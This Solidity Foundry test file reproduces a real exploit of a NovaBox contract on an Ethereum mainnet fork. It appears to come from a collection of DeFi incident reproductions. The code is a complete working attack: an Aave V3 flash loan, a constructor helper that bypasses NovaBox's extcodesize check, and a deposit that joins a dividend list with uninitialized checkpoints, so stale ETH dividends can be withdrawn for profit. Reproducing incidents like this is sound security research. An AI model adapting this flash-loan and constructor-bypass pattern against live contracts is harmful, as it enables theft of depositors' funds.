src/test/2026-06/NovaBox_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : 56.73 ETH
7// Attacker : 0x3690c5efc63eea1167c4d92a3f2dd8afdb85c294
8// Attack Contract : 0xb50be385f6eb02ae379da3d3a1bb58a0dc260858
9// Vulnerable Contract : 0xbc4191167d4b0251cab5201a527daa8a7d3846b0
10// Victim : 0xbc4191167d4b0251cab5201a527daa8a7d3846b0
11// Attack Tx : https://etherscan.io/tx/0x0cfa357e9e4db1540246f17cb6bfa0634ff8727d7cf241b63fb22605021c8844
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xbc4191167d4b0251cab5201a527daa8a7d3846b0#code
15 
16// @Analysis
17// Twitter Guy : https://x.com/DefimonAlerts/status/2064616360466919793
18//
19// NovaBox blocks contract ETH deposits with extcodesize(msg.sender) == 0 and adds new dual ETH/NOVA depositors to the
20// dividend list without initializing their dividend checkpoints. The attacker deposits through a constructor helper,
21// joins the list with zero checkpoints, then immediately withdraws ETH and receives stale historical ETH dividends.
22 
23address constant ATTACKER = 0x3690c5EFc63eeA1167c4d92a3f2dD8afdb85C294;
24address constant ATTACK_CONTRACT = 0xB50bE385f6EB02aE379DA3D3A1BB58a0dc260858;
25address constant VULNERABLE_CONTRACT = 0xbc4191167D4B0251cAB5201a527Daa8a7d3846b0;
26address constant NOVA = 0x72FBc0fc1446f5AcCC1B083F0852a7ef70a8ec9f;
27address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
28address constant AAVE_V3_POOL = 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;
29 
30interface INovaToken {
31    function balanceOf(
32        address account
33    ) external view returns (uint256);
34    function approve(
35        address spender,
36        uint256 amount
37    ) external returns (bool);
38    function transfer(
39        address to,
40        uint256 amount
41    ) external returns (bool);
42}
43 
44interface INovaBox {
45    function depositTokens(
46        address randomAddr,
47        uint256 randomTicket
48    ) external;
49    function contributionsEth(
50        address account
51    ) external view returns (uint256);
52    function withdrawEth(
53        uint256 amount
54    ) external;
55}
56 
57interface IAaveV3Pool {
58    function flashLoanSimple(
59        address receiverAddress,
60        address asset,
61        uint256 amount,
62        bytes calldata params,
63        uint16 referralCode
64    ) external;
65}
66 
67interface IWETH9 {
68    function deposit() external payable;
69    function withdraw(
70        uint256 amount
71    ) external;
72    function approve(
73        address spender,
74        uint256 amount
75    ) external returns (bool);
76    function balanceOf(
77        address account
78    ) external view returns (uint256);
79}
80 
81contract ContractTest is BaseTestWithBalanceLog {
82    function setUp() public {
83        vm.createSelectFork("mainnet", 25_281_767);
84        fundingToken = address(0);
85 
86        vm.label(ATTACKER, "Attacker");
87        vm.label(ATTACK_CONTRACT, "Trace Attack Contract");
88        vm.label(VULNERABLE_CONTRACT, "NovaBox");
89        vm.label(NOVA, "NOVA");
90        vm.label(WETH, "WETH");
91        vm.label(AAVE_V3_POOL, "Aave V3 Pool");
92    }
93 
94    function testExploit() public balanceLog2(ATTACKER) {
95        uint256 profitBefore = ATTACKER.balance;
96        uint256 sameBlockNovaSeed = 0.001 ether;
97        uint256 flashAmount = 427.5 ether;
98        uint256 expectedMinimumProfit = 50 ether;
99 
100        NovaBoxRoot root = new NovaBoxRoot(payable(ATTACKER), flashAmount);
101        vm.label(address(root), "Local Root Attack");
102 
103        // step 1: model same-block tx index 0, which seeded the future root contract with 0.001 NOVA.
104        deal(NOVA, address(root), sameBlockNovaSeed);
105        assertEq(INovaToken(NOVA).balanceOf(address(root)), sameBlockNovaSeed);
106 
107        // step 2: execute the trace order: local receiver, Aave flash loan, constructor helper, then profit forwarding.
108        root.run();
109 
110        uint256 profit = ATTACKER.balance - profitBefore;
111        emit log_named_decimal_uint("ETH profit after Aave repayment", profit, 18);
112        assertGt(profit, expectedMinimumProfit);
113    }
114}
115 
116contract NovaBoxRoot {
117    INovaToken private constant nova = INovaToken(NOVA);
118    address payable private immutable profitReceiver;
119    uint256 private immutable flashAmount;
120 
121    constructor(
122        address payable profitReceiver_,
123        uint256 flashAmount_
124    ) {
125        profitReceiver = profitReceiver_;
126        flashAmount = flashAmount_;
127    }
128 
129    function run() external {
130        NovaFlashLoanReceiver receiver = new NovaFlashLoanReceiver(address(this), flashAmount);
131        uint256 novaSeed = nova.balanceOf(address(this));
132        require(nova.transfer(address(receiver), novaSeed), "nova seed transfer failed");
133 
134        receiver.startFlashLoan();
135 
136        profitReceiver.transfer(address(this).balance);
137    }
138 
139    receive() external payable {}
140}
141 
142contract NovaFlashLoanReceiver {
143    INovaToken private constant nova = INovaToken(NOVA);
144    IAaveV3Pool private constant aave = IAaveV3Pool(AAVE_V3_POOL);
145    IWETH9 private constant weth = IWETH9(WETH);
146 
147    address payable private immutable root;
148    uint256 private immutable flashAmount;
149 
150    constructor(
151        address root_,
152        uint256 flashAmount_
153    ) {
154        root = payable(root_);
155        flashAmount = flashAmount_;
156    }
157 
158    function startFlashLoan() external {
159        aave.flashLoanSimple(address(this), WETH, flashAmount, "", 0);
160    }
161 
162    function executeOperation(
163        address asset,
164        uint256 amount,
165        uint256 premium,
166        address initiator,
167        bytes calldata
168    ) external returns (bool) {
169        require(msg.sender == AAVE_V3_POOL, "unexpected lender");
170        require(asset == WETH, "unexpected asset");
171        require(initiator == address(this), "unexpected initiator");
172        require(amount == flashAmount, "unexpected amount");
173 
174        // step 3: unwrap the flash-loaned WETH and spend the ETH through a constructor helper.
175        weth.withdraw(amount);
176        new NovaConstructorHelper{value: amount}(address(this));
177 
178        // step 4: wrap enough ETH to repay Aave principal plus premium, then forward the remaining ETH profit.
179        uint256 repayment = amount + premium;
180        weth.deposit{value: repayment}();
181        weth.approve(AAVE_V3_POOL, repayment);
182 
183        root.transfer(address(this).balance);
184        return true;
185    }
186 
187    function fundHelperWithNova() external {
188        uint256 balance = nova.balanceOf(address(this));
189        require(nova.transfer(msg.sender, balance), "helper nova transfer failed");
190    }
191 
192    receive() external payable {}
193}
194 
195contract NovaConstructorHelper {
196    INovaToken private constant nova = INovaToken(NOVA);
197    INovaBox private constant box = INovaBox(VULNERABLE_CONTRACT);
198 
199    constructor(
200        address flashLoanReceiver
201    ) payable {
202        // step 5: pull the NOVA seed from the flash-loan receiver and enter NovaBox as a token contributor.
203        NovaFlashLoanReceiver(payable(flashLoanReceiver)).fundHelperWithNova();
204        uint256 novaBalance = nova.balanceOf(address(this));
205        require(nova.approve(VULNERABLE_CONTRACT, novaBalance), "nova approve failed");
206        box.depositTokens(address(this), 0);
207 
208        // step 6: deposit ETH while this contract has no runtime code, bypassing NovaBox's extcodesize check.
209        (bool deposited,) = VULNERABLE_CONTRACT.call{value: msg.value}("");
210        require(deposited, "eth deposit failed");
211 
212        // step 7: withdraw the credited ETH and stale dividends, then return all ETH to the flash-loan receiver.
213        uint256 creditedEth = box.contributionsEth(address(this));
214        box.withdrawEth(creditedEth);
215 
216        payable(flashLoanReceiver).transfer(address(this).balance);
217    }
218}